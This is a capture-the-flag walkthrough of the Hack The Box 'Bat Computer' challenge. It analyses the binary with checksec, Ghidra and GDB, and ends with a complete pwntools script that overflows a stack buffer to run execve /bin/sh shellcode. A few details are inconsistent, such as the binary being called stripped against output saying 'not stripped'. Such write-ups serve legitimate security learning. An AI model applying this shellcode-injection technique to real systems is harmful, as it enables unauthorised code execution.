Binary Exploitation: HTB Bat Computer Walkthrough
In the next installment of the binary exploitation series, we will go over the Bat Computer Pwn challenge from Hack the Box. I found this challenge to be really fun as it shows the consequences of not practicing simple exploit mitigation techniques.
We start off by running checksec
on the binary. Checksec is a tool used to check the properties of a Linux executable such as Relocation Read-Only (RELRO), Non-executable stack (NX), and stack canaries.
$ checksec ./batcomputer
[*] '/home/anon/HTB/PWN/BatComputer/batcomputer'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
We can see that the binary only has Partial RELRO and Position Independent Executable (PIE) enabled. No stack canaries were found and Non-Executable (NX) is disabled. We will not go into detail about these mitigations as they deserve their own post in the future. You can find their basic definitions below:
-
Position Independent Executable (PIE) — a binary and all of its dependencies are loaded into random locations within virtual memory each time the application is executed
-
Partial RELRO — some sections of the binary are read-only, preventing them from being modified
-
Stack Canary — a value written on the stack which is later checked to ensure it has not been overwritten; used to detect buffer overflows
-
Non-Executable Stack (NX) — a memory protection mechanism used to prevent shell code located within the stack from being executed
$ file ./batcomputer
./batcomputer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=497abb33ba7b0370d501f173facc947759aa4e22, for GNU/Linux 3.2.0, not stripped
Running the file
command on the binary shows that it is stripped, meaning there are no debug symbols present. A stripped binary makes it more difficult to reverse engineer and the main
function will be harder to find.
Let us now run the binary to see what it does.
$ ./batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 1
It was very hard, but Alfred managed to locate him: 0x7ffce5883f34
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 2
Ok. Let's do this. Enter the password: password123
The password is wrong.
I can't give you access to the BatMobile!
We are given two options, the first option gives us a message along with a memory address. The second options prompts us a for a password and exits if it's incorrect. For a better picture, lets decompile the binary using Ghidra.
Code Analysis

Because the binary is stripped we cant simply go to the main
function. A simple work around is to look at the strings to see if we have encountered them before. In Ghidra, the strings window can be displayed by going to Window > Defined Strings
. The screenshot above shows the selected string “Welcome to your Bat Computer.”. Following this string we land on what looks like our main function, FUN_001011ec
(this may be different on your computer)

In order to make analysis easier, the variables have been renamed to better reflect their purpose. One of these variables is user_choice
, whose value determines which message/prompt to show the user. On line 18, user_choice
is compared with integer 1, and if equal, the memory address of the nav_command
buffer is printed using the printf
function. If instead user_choice
is 2, a password is requested and stored into user_pass
using the scanf
function. Line 24 clearly shows the password being compared to the string b4tp@$$w0rd!
. If the passwords do not match, the program terminates with a call to exit()
. If the passwords do match, however, the user is asked to provide their commands, which are then stored within the nav_commands
buffer, the same buffer whose address was printed in option 1. The string “Roger that!” is printed and the function loops back to the beginning. If user_choice are neither 1 nor 2, the binary prints a “Too bad” message and returns 0, finishing execution.
There is buffer overflow vulnerability within the read call on line 32. 0x89 (137) bytes are read from standard input into a buffer that is only allocated 76 bytes. This gives us enough space to overwrite the return address. We have to figure out the number of bytes between the start of our navigation commands input and the return address. We can do this using GDB.
Debugging
$ gdb ./batcomputer
GEF for linux ready, type `gef' to start, `gef config' to configure
89 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
[*] 3 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./batcomputer...
(No debugging symbols found in ./batcomputer)
gef➤
gef➤ r
Starting program: /home/anon/HTB/PWN/BatComputer/batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecae8e in __GI___libc_read (fd=0x0, buf=0x7ffff7f9aa03 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
/home/anon/.gdbinit-gef.py:2425: DeprecationWarning: invalid escape sequence '\A'
res = gdb.Value(address).cast(char_ptr).string(encoding=encoding, length=length).strip()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xfffffffffffffe00
$rbx : 0x00007ffff7f9a980 → 0x00000000fbad208b
$rcx : 0x00007ffff7ecae8e → 0x5a77fffff0003d48 ("H="?)
$rdx : 0x1
$rsp : 0x00007fffffffd6d8 → 0x00007ffff7e5d89a → <_IO_file_underflow+378> test rax, rax
$rbp : 0x00007ffff7f9c4a0 → 0x0000000000000000
$rsi : 0x00007ffff7f9aa03 → 0xf9d6800000000000
$rdi : 0x0
$rip : 0x00007ffff7ecae8e → 0x5a77fffff0003d48 ("H="?)
$r8 : 0x0
$r9 : 0xffffffffffffff80
$r10 : 0x0000555555556069 → 0x4900000000006425 ("%d"?)
$r11 : 0x246
$r12 : 0x00007ffff7f9b6a0 → 0x00000000fbad2887
$r13 : 0x00007ffff7f9b8a0 → 0x0000000000000000
$r14 : 0xd68
$r15 : 0x00007ffff7f9c608 → 0x00007ffff7e5f630 → <_IO_cleanup+0> push r15
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd6d8│+0x0000: 0x00007ffff7e5d89a → <_IO_file_underflow+378> test rax, rax ← $rsp
0x00007fffffffd6e0│+0x0008: 0x0000000000000000
0x00007fffffffd6e8│+0x0010: 0x0000000200010000
0x00007fffffffd6f0│+0x0018: 0x00007ffff7fa1508 → 0x00007ffff7fa1000 → 0x00007ffff7ddc000 → 0x03010102464c457f
0x00007fffffffd6f8│+0x0020: 0x00007ffff7f9a980 → 0x00000000fbad208b
0x00007fffffffd700│+0x0028: 0x00007ffff7f9c4a0 → 0x0000000000000000
0x00007fffffffd708│+0x0030: 0x0000000000000000
0x00007fffffffd710│+0x0038: 0x00007ffff7f9b4a0 → 0x00007ffff7f976a0 → 0x00007ffff7f67b72 → 0x636d656d5f5f0043 ("C"?)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7ecae88 <read+8> test eax, eax
0x7ffff7ecae8a <read+10> jne 0x7ffff7ecaea0 <__GI___libc_read+32>
0x7ffff7ecae8c <read+12> syscall
→ 0x7ffff7ecae8e <read+14> cmp rax, 0xfffffffffffff000
0x7ffff7ecae94 <read+20> ja 0x7ffff7ecaef0 <__GI___libc_read+112>
0x7ffff7ecae96 <read+22> ret
0x7ffff7ecae97 <read+23> nop WORD PTR [rax+rax*1+0x0]
0x7ffff7ecaea0 <read+32> sub rsp, 0x28
0x7ffff7ecaea4 <read+36> mov QWORD PTR [rsp+0x18], rdx
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "batcomputer", stopped 0x7ffff7ecae8e in __GI___libc_read (), reason: SIGINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7ecae8e → __GI___libc_read(fd=0x0, buf=0x7ffff7f9aa03 <_IO_2_1_stdin_+131>, nbytes=0x1)
[#1] 0x7ffff7e5d89a → _IO_new_file_underflow(fp=0x7ffff7f9a980 <_IO_2_1_stdin_>)
[#2] 0x7ffff7e5eb02 → __GI__IO_default_uflow(fp=0x7ffff7f9a980 <_IO_2_1_stdin_>)
[#3] 0x7ffff7e35138 → __vfscanf_internal(s=<optimized out>, format=<optimized out>, argptr=0x7fffffffde50, mode_flags=0x2)
[#4] 0x7ffff7e3418e → __isoc99_scanf(format=<optimized out>)
[#5] 0x555555555241 → mov eax, DWORD PTR [rbp-0x60]
[#6] 0x7ffff7e02d0a → __libc_start_main(main=0x5555555551ec, argc=0x1, argv=0x7fffffffe088, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe078)
[#7] 0x5555555550de → hlt
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
Because the binary is stripped, we can't set a breakpoint on the main
function with the command b *main
. We first have to run the binary then abort execution with Ctrl+C
. At the bottom of the gdb output above, we can see the following line:
[#6] 0x7ffff7e02d0a → __libc_start_main(main=0x5555555551ec, argc=0x1, argv=0x7fffffffe088, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe078)
Execution was aborted in the function located at address 0x5555555551ec
; this is our main
function. Let's set the breakpoint at this address and run the binary again.
gef➤ b *0x5555555551ec
Breakpoint 1 at 0x5555555551ec
gef➤ r
Starting program: /home/anon/HTB/PWN/BatComputer/batcomputer
Breakpoint 1, 0x00005555555551ec in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00005555555551ec → push rbp
$rbx : 0x0
$rcx : 0x00007ffff7f9a718 → 0x00007ffff7f9cb00 → 0x0000000000000000
$rdx : 0x00007fffffffe098 → 0x00007fffffffe3bf → "SHELL=/bin/bash"
$rsp : 0x00007fffffffdf98 → 0x00007ffff7e02d0a → <__libc_start_main+234> mov edi, eax
$rbp : 0x0000555555555320 → endbr64
$rsi : 0x00007fffffffe088 → 0x00007fffffffe394 → "/home/anon/HTB/PWN/BatComputer/batcomputer"
$rdi : 0x1
$rip : 0x00005555555551ec → push rbp
$r8 : 0x0
$r9 : 0x00007ffff7fe2180 → <_dl_fini+0> push rbp
$r10 : 0x3
$r11 : 0x202
$r12 : 0x00005555555550b0 → endbr64
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf98│+0x0000: 0x00007ffff7e02d0a → <__libc_start_main+234> mov edi, eax ← $rsp
0x00007fffffffdfa0│+0x0008: 0x00007fffffffe088 → 0x00007fffffffe394 → "/home/anon/HTB/PWN/BatComputer/batcomputer"
0x00007fffffffdfa8│+0x0010: 0x00000001ffffe379
0x00007fffffffdfb0│+0x0018: 0x00005555555551ec → push rbp
0x00007fffffffdfb8│+0x0020: 0x00007ffff7e028e9 → <init_cacheinfo+569> mov r8, rax
0x00007fffffffdfc0│+0x0028: 0x0000000000000000
0x00007fffffffdfc8│+0x0030: 0x7a403f4a6d97113a
0x00007fffffffdfd0│+0x0038: 0x00005555555550b0 → endbr64
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555555551e9 nop
0x5555555551ea pop rbp
0x5555555551eb ret
●→ 0x5555555551ec push rbp
0x5555555551ed mov rbp, rsp
0x5555555551f0 sub rsp, 0x60
0x5555555551f4 mov eax, 0x0
0x5555555551f9 call 0x5555555551a9
0x5555555551fe lea rax, [rbp-0x60]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "batcomputer", stopped 0x5555555551ec in ?? (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555551ec → push rbp
[#1] 0x7ffff7e02d0a → __libc_start_main(main=0x5555555551ec, argc=0x1, argv=0x7fffffffe088, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe078)
[#2] 0x5555555550de → hlt
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/70i $pc
=> 0x5555555551ec: push rbp
0x5555555551ed: mov rbp,rsp
0x5555555551f0: sub rsp,0x60
0x5555555551f4: mov eax,0x0
0x5555555551f9: call 0x5555555551a9
0x5555555551fe: lea rax,[rbp-0x60]
0x555555555202: add rax,0x4
0x555555555206: mov edx,0x10
0x55555555520b: mov esi,0x0
0x555555555210: mov rdi,rax
0x555555555213: call 0x555555555050 <memset@plt>
0x555555555218: lea rdi,[rip+0xde9] # 0x555555556008
0x55555555521f: mov eax,0x0
0x555555555224: call 0x555555555040 <printf@plt>
0x555555555229: lea rax,[rbp-0x60]
0x55555555522d: mov rsi,rax
0x555555555230: lea rdi,[rip+0xe32] # 0x555555556069
0x555555555237: mov eax,0x0
0x55555555523c: call 0x555555555090 <__isoc99_scanf@plt>
0x555555555241: mov eax,DWORD PTR [rbp-0x60]
0x555555555244: cmp eax,0x1
0x555555555247: jne 0x555555555267
0x555555555249: lea rax,[rbp-0x60]
0x55555555524d: add rax,0x14
0x555555555251: mov rsi,rax
0x555555555254: lea rdi,[rip+0xe15] # 0x555555556070
0x55555555525b: mov eax,0x0
0x555555555260: call 0x555555555040 <printf@plt>
0x555555555265: jmp 0x5555555551fe
0x555555555267: mov eax,DWORD PTR [rbp-0x60]
0x55555555526a: cmp eax,0x2
0x55555555526d: jne 0x55555555530d
0x555555555273: lea rdi,[rip+0xe2e] # 0x5555555560a8
0x55555555527a: mov eax,0x0
0x55555555527f: call 0x555555555040 <printf@plt>
0x555555555284: lea rax,[rbp-0x60]
0x555555555288: add rax,0x4
0x55555555528c: mov rsi,rax
0x55555555528f: lea rdi,[rip+0xe3a] # 0x5555555560d0
0x555555555296: mov eax,0x0
0x55555555529b: call 0x555555555090 <__isoc99_scanf@plt>
0x5555555552a0: lea rax,[rbp-0x60]
0x5555555552a4: add rax,0x4
0x5555555552a8: lea rsi,[rip+0xe26] # 0x5555555560d5
0x5555555552af: mov rdi,rax
0x5555555552b2: call 0x555555555070 <strcmp@plt>
0x5555555552b7: test eax,eax
0x5555555552b9: je 0x5555555552d1
0x5555555552bb: lea rdi,[rip+0xe26] # 0x5555555560e8
0x5555555552c2: call 0x555555555030 <puts@plt>
0x5555555552c7: mov edi,0x0
0x5555555552cc: call 0x5555555550a0 <exit@plt>
0x5555555552d1: lea rdi,[rip+0xe58] # 0x555555556130
0x5555555552d8: mov eax,0x0
0x5555555552dd: call 0x555555555040 <printf@plt>
0x5555555552e2: lea rax,[rbp-0x60]
0x5555555552e6: add rax,0x14
0x5555555552ea: mov edx,0x89
0x5555555552ef: mov rsi,rax
0x5555555552f2: mov edi,0x0
0x5555555552f7: call 0x555555555060 <read@plt>
0x5555555552fc: lea rdi,[rip+0xe5e] # 0x555555556161
0x555555555303: call 0x555555555030 <puts@plt>
0x555555555308: jmp 0x5555555551fe
0x55555555530d: lea rdi,[rip+0xe5c] # 0x555555556170
0x555555555314: call 0x555555555030 <puts@plt>
0x555555555319: mov eax,0x0
0x55555555531e: leave
0x55555555531f: ret
0x555555555320: endbr64
gef➤
After setting a breakpoint on 0x5555555551ec
and executing the binary again, we reach the beginning of main
. We then show the next 70 instructions with command x/70i $pc
. This helps us find the memory location after the call to read that stores our input into nav_commands
. According to the gdb output above, we want to set the breakpoint at this instruction:
0x5555555552fc: lea rdi,[rip+0xe5e] # 0x555555556161
Once we reach this breakpoint the number of bytes between the our input and the return address can be calculated.
gef➤ b *0x5555555552fc
Breakpoint 1 at 0x5555555552fc
gef➤ r
Starting program: /home/anon/HTB/PWN/BatComputer/batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 2
Ok. Let's do this. Enter the password: b4tp@$$w0rd!
Access Granted.
Enter the navigation commands: foobar
Breakpoint 1, 0x00005555555552fc in ?? ()
/home/anon/.gdbinit-gef.py:2425: DeprecationWarning: invalid escape sequence '\'
res = gdb.Value(address).cast(char_ptr).string(encoding=encoding, length=length).strip()
/home/anon/.gdbinit-gef.py:2425: DeprecationWarning: invalid escape sequence '\A'
res = gdb.Value(address).cast(char_ptr).string(encoding=encoding, length=length).strip()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x7
$rbx : 0x0
$rcx : 0x00007ffff7ecae8e → 0x5a77fffff0003d48 ("H="?)
$rdx : 0x89
$rsp : 0x00007fffffffdf30 → 0x7074346200000002
$rbp : 0x00007fffffffdf90 → 0x0000555555555320 → endbr64
$rsi : 0x00007fffffffdf44 → "foobar\n"
$rdi : 0x0
$rip : 0x00005555555552fc → lea rdi, [rip+0xe5e] # 0x555555556161
$r8 : 0x0
$r9 : 0x30
$r10 : 0xfffffffffffff285
$r11 : 0x246
$r12 : 0x00005555555550b0 → endbr64
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf30│+0x0000: 0x7074346200000002 ← $rsp
0x00007fffffffdf38│+0x0008: "@$$w0rd!"
0x00007fffffffdf40│+0x0010: 0x626f6f6600000000
0x00007fffffffdf48│+0x0018: 0x00000000000a7261 ("ar\n"?)
0x00007fffffffdf50│+0x0020: 0x0000555555554040 → 0x0000000400000006
0x00007fffffffdf58│+0x0028: 0x000055555555536d → add rbx, 0x1
0x00007fffffffdf60│+0x0030: 0x0000000000000000
0x00007fffffffdf68│+0x0038: 0x0000000000000000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555555552ef mov rsi, rax
0x5555555552f2 mov edi, 0x0
0x5555555552f7 call 0x555555555060 <read@plt>
●→ 0x5555555552fc lea rdi, [rip+0xe5e] # 0x555555556161
0x555555555303 call 0x555555555030 <puts@plt>
0x555555555308 jmp 0x5555555551fe
0x55555555530d lea rdi, [rip+0xe5c] # 0x555555556170
0x555555555314 call 0x555555555030 <puts@plt>
0x555555555319 mov eax, 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "batcomputer", stopped 0x5555555552fc in ?? (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555552fc → lea rdi, [rip+0xe5e] # 0x555555556161
[#1] 0x7ffff7e02d0a → __libc_start_main(main=0x5555555551ec, argc=0x1, argv=0x7fffffffe088, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe078)
[#2] 0x5555555550de → hlt
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ search-pattern foobar
[+] Searching 'foobar' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
0x7fffffffdf44 - 0x7fffffffdf4c → "foobar\n"
gef➤ i f
Stack level 0, frame at 0x7fffffffdfa0:
rip = 0x5555555552fc; saved rip = 0x7ffff7e02d0a
called by frame at 0x7fffffffe070
Arglist at 0x7fffffffdf28, args:
Locals at 0x7fffffffdf28, Previous frame's sp is 0x7fffffffdfa0
Saved registers:
rbp at 0x7fffffffdf90, rip at 0x7fffffffdf98
gef➤
After setting a breakpoint at 0x5555555552fc
, we restart execution. After the menu is displayed, option 2 is chosen and the correct password of b4tp@$$w0rd!
is provided. We are then given a prompt to enter our commands; a random command of foobar
is entered. After supplying the password, we reach our breakpoint. The navigation command foobar
is searched in memory with the command search-pattern foobar
; this gives the beginning of our input, 0x7fffffffdf44
. We then get the return address with the command info frames
or i f
for short. The return address is stored in register rip
whose value is 0x7fffffffdf44
. The number of bytes between the input and return address is 0x7fffffffdf98b – 0x7fffffffdf44
which is 0x54
or 84
bytes.
Exploitation
Next order of business is to decide what to overflow the return address with. Remember how the output of checksec
said Non-Executable Stack (NX) was disabled? Well, this is our way forward. Because the stack is executable, this allows us to execute whatever code we provide in the buffer. But wait, how do we redirect execution to the start of our buffer?
$ ./batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 1
It was very hard, but Alfred managed to locate him: 0x7ffce5883f34
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 2
Ok. Let's do this. Enter the password: password123
The password is wrong.
I can't give you access to the BatMobile!
At the beginning of this post, the binary gave us a memory address after choosing option 1. Going back to the Code Analysis section, it was deduced that this address is the beginning of our input! This is what the return address will be overflowed with.
Next, we need our shellcode. We can use shellcode provided by shell-storm. We will choose one that executes the command /bin/sh
, giving us a shell. The one I am using is from the following: https://shell-storm.org/shellcode/files/shellcode-806.html. The shellcode is as follows:
/*
* Execute /bin/sh - 27 bytes
* Dad` <3 baboon
;rdi 0x4005c4 0x4005c4
;rsi 0x7fffffffdf40 0x7fffffffdf40
;rdx 0x0 0x0
;gdb$ x/s $rdi
;0x4005c4: "/bin/sh"
;gdb$ x/s $rsi
;0x7fffffffdf40: "\304\005@"
;gdb$ x/32xb $rsi
;0x7fffffffdf40: 0xc4 0x05 0x40 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf58: 0x55 0xb4 0xa5 0xf7 0xff 0x7f 0x00 0x00
;
;=> 0x7ffff7aeff20 <execve>: mov eax,0x3b
; 0x7ffff7aeff25 <execve+5>: syscall
;
main:
;mov rbx, 0x68732f6e69622f2f
;mov rbx, 0x68732f6e69622fff
;shr rbx, 0x8
;mov rax, 0xdeadbeefcafe1dea
;mov rbx, 0xdeadbeefcafe1dea
;mov rcx, 0xdeadbeefcafe1dea
;mov rdx, 0xdeadbeefcafe1dea
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
cdq
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b
syscall
*/
#include <stdio.h>
#include <string.h>
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
Lets look at the decompiled code one more time…

After supplying the correct password and giving our input, the binary exits with a call to exit
at line 28. This means the return address will not be reached, and therefore, the shellcode will not execute. We need to take advantage of the loop and provide an incorrect option when the menu is shown again. This ensures that we reach the return
at line 35.
To write the exploit, I will use Python with Pwntools, an exploit development framework.
from pwn import *
# connect to remote process via netcat
target = process("nc")
target.sendline("[IP ADDRESS] [PORT]")
print target.recvuntil("> ")
target.sendline("1")
# grab the infoleak after choosing option 1
leak = target.recvline()
leak = leak.strip("It was very hard, but Alfred managed to locate him: ")
# convert infoleak to int
shellcode_addr = int(leak, 16)
# proceed with option 2 and provide password
print target.recvuntil("> ")
target.sendline("2")
print target.recvuntil("password: ")
target.sendline("b4tp@$$w0rd!")
print target.recvuntil("commands: ")
# construct our payload
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = ""
shellcode += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
shellcode += "0"*(84-len(shellcode))
shellcode += p64(shellcode_addr)
# send our shellcode and overflow that buffer
target.sendline(shellcode)
# send invalid option to reach the return
target.recvuntil("> ")
target.sendline("3")
# spawn shell
target.interactive()
Of course, [IP ADDRESS]
and [PORT]
will be replaced with whatever address and port HackTheBox gives us when we start an instance. Lets run our exploit:
$ python exploit.py
[+] Starting local process '/usr/bin/nc' [pid 81055]
Cmd line: Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
>
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
Ok. Let's do this. Enter the password:
Access Granted.
Enter the navigation commands:
[*] Switching to interactive mode
Too bad, now who's gonna save Gotham? Alfred?
$
$ ls -l
total 20
-rwxr-xr-x 1 root root 14384 Oct 28 10:11 batcomputer
-rw-r--r-- 1 root root 220 Oct 28 10:11 flag.txt
We successfully exploited the buffer overflow and got code execution!